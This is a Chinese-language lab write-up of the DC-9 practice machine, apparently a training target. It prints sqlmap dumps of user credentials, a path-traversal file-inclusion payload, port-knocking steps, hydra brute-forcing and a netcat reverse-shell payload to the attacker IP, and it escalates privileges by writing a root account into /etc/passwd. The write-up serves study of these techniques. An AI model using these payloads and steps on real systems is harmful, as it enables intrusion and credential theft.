DC-9 渗透测试
冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已。
靶机IP: 172.66.66.139
kali IP: 172.66.66.129
网络模式 NAT
netdiscover
拿到靶机ip 172.66.66.139
nmap -sV -A -p- -oN /tmp/dc-9.nmap
22端口的状态时 filtered (被过滤的,不能确定是否开放)。80开放。
#看到 SSH的22端口是filtered ,猜想是否装了 knockd 工具隐藏了服务
/etc/knockd.conf
dirb http://172.66.66.139
没有发现重要信息
访问80端口,未能识别出CMS 名称。
首页是 exmple.com 全体员工信息,还有展示、搜索、登录三个界面,研究一下网页源代码。
如RFC 2606和RFC 6761所述,为了文档目的,保留多个域名,如example.com和example.org。这些域可以在文档中用作说明性示例,而无需事先与我们协调。它们无法注册或转让。
先尝试注入,再账号密码爆破,因为有用的信息太少了。bp抓包开起来。
搜索框注入无果.....
我嘞个去...瞎了瞎了 ,搜索框所在的页面是
/search.php
,抓包看了下,没注意请求头 的是 /results.php
仔细看,
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' --dbs
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users --tables
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails --columns
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
仿佛都是普通用户,随便一个试试 marym | 3kfs86sfd
登不进去...换一个数据库看看。
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D Staff -T Users -C Username,Password --dump
爆出来,admin: transorbital1
发现没有过滤? 写个反弹shell <?php system("nc -e /bin/bash 172.66.66.129 8888");?>
字段有长度限制...查看源代码发现不是 前端限制,那应该是后端的长度限制,这时候考虑拼接传入shell
行吧,暂时考虑不出来,我太菜了。
看到网页底部脚标的footer标签 <footer>File does not exist</footer>
难道是有文件包含吗?,整一下试试。盲猜一下是 ?file= ,再试路径
试出来url :?file=../../../../etc/passwd
。当包含不出来的时候,别着急,多试试,多写几个点点杠进去
服务器是Apache,试着包含一下配置文件,尴尬,找不到phpinfo.php位置,也找不到Apache配置文件的位置...
在/etc/passwd 中,发现了一些账号是在前面的sqlmap中爆破出来的,他应该是ssh登录的账号,但是ssh好像是关闭的,不对呀,有情况。
因为ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件 /etc/knockd.conf
。 ?file=../../../../etc/knockd.conf
这样看着有点乱,拿出来看调整一下格式,加入自己的理解,如下:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842 # 打开ssh 22访问的三个操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 # 关闭ssh 22访问的三个操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
tcpflags = syn
解释:
Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。
OpenSSH:该字段包括序列、序列超时、命令和tcp标志。
Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。
Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。
command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。
依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了
在kali中执行如下命令:
1) 使用7469/8475/9842队列号敲门登录:
nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842; do nmap -p $x 172.66.66.139; done
关闭的话也同理: 使用9842/8475/7469队列号关门
for x in 9842 8475 7469; do nmap -p $x 192.168.1.38; done
ssh打开之后,账号密码登录。在上面的sqlmap爆破中我们
| username | password |
+--------------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0
这么多个账号,怎么知道哪个账号是可以登录的呢?当然可以逐一去试,还有别的办法吗?当然有,hydra
hydra -L /tmp/dc-9-user.txt -P dc-9-passwd.txt 172.66.66.139 ssh -t 30
[22][ssh] host: 172.66.66.139 login: chandlerb password: UrAG0D!
[22][ssh] host: 172.66.66.139 login: joeyt password: Passw0rd
[22][ssh] host: 172.66.66.139 login: janitor password: Ilovepeepee
仔细看每一个账号里的文件,检查。用 ls -alF
看到
cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
| bettyr | BamBam01 |
| joeyt | Passw0rd |
| phoebeb | smellycats |
在数据库爆出的账号中匹配到了三个,检查完当前账号后去看看这三个账号。
joeyt是前面hydra出来能登录的其中一个,上面的密码中,也只有这个能登录。
正经开始提权:收集有用信息
joeyt@dc-9:~/.gnupg$ uname -a
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
# Debian 4.19.67
提权整了半天,没进展,回过头来看,刚刚拿到的密码,难道没有其他用处了吗,要不要加进去 dc-9-passwd.txt 里再重新hydra爆一下呢? 要,很有必要,真是没想到呀。
fredf : B4-Tru3-001
第一个账号是新的,ssh登录
仿佛有希望。到该目录下研究研究test。
fredf@dc-9:/opt/devstuff/dist$ ls
test
fredf@dc-9:/opt/devstuff/dist$ cd test
linux里 .so 后缀文件是啥东东?
一般来说, .so 是基于linux下的动态链接,其功能相和作用相当于windows.dll文件。
linux 中的.so和.a文件 - 心田居士 - 博客园 (cnblogs.com) 看这里。
/opt/devstuff/dist/test/test 这一层好像没什么好看的,
SPEC文件扩展名可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。
#在这一级看到了 test.py
-----------------------------------------------------------
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys #包含sys后 才能用sys.argv
if len (sys.argv) != 3 : #sys.argv[1] 是文件本身
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。
output = (f.read())
f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。
f.write(output) #写入内容
f.close() # 关闭
------------------------------------------------------------
#只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。
先来学习:sys.argv[ ],是一个从外部程序获得参数的桥梁,获取的参数可以是多个,所以它会是一个列表(list),也就是说,sys.argv其实是一个列表,用[ ] 提取其中的元素,第一个元素 sys.argv[0] 是程序本身,后面才是一次输入的外部参数。
#test.py
inport sys
a=sys.agrv[0]
print(a) # 输出 test.py,也就是说sys.agrv[0] 的值是文件本身
#########################
#改一下代码
#test.py
inport sys
a=sys.agrv[1] #从sys.argv[1]开始才是传入的参数
print(a)
# 测试传参what输进去:test.py what
# 输出 就是 what
回到靶机,按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/a 里,再脚本追加写入 /etc/passwd 里。
写之前是不是得先生成一个加密后的密码呢? linux里有个 openshell ,这是可以用来生成密码的。那么,linux /etc/passwd 是用什么加密方式的呢?MD5
root@kali:~# openssl passwd -1
Password: #123456
Verifying - Password: #123456
$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
语法格式: openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
示例:
[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密码而是密码的长度
Password: ##这里输入的是密码
$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码
##将生成的密码串,手动添加到/etc/shadow中就可用作用户的登陆密码了。
先试试不加密码的账号,echo 'axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash'
怎么不行呢...阿裂开,双引号用错了,得用单引号......
passwd的格式: [⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash
再对比一下 passwd 文件里的 root 的是怎样的
root:x:0:0:root:/root:/bin/bash
仿佛是命令用错了,改一下 openssl 的命令,加点盐,写上用户。
openssl passwd -1 -salt ccc 123456 ##构造ccc用户密码为123456的hash
ccc:$1$ccc$tK1vhSYd21dUn8Z0EC/Pl0:0:0:root:/root:/bin/bash
最后:
- 对文件包含敏感度不够,看到 脚标 的
File does not exist
,竟然没有意识到 文件包含。- 归纳总结:/etc下有什么重要的文件,都累出来。(详情出门右转个人笔记),也可以爆破,也是能出来
- 看到有文件包含,就先用fuzz来跑一跑。
- hydra 账号密码爆破工具,支持多种协议。
- 以后用ls 命令,建议都用这个
ls -alF
-a显示隐藏文件, -l显示文件详细信息, -F显示文件的类别(文件夹后有/
,可执行文件前有*
,文件等,看到你就知道了)su - root
切换到root用户,并改变环境变量。- DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已啊。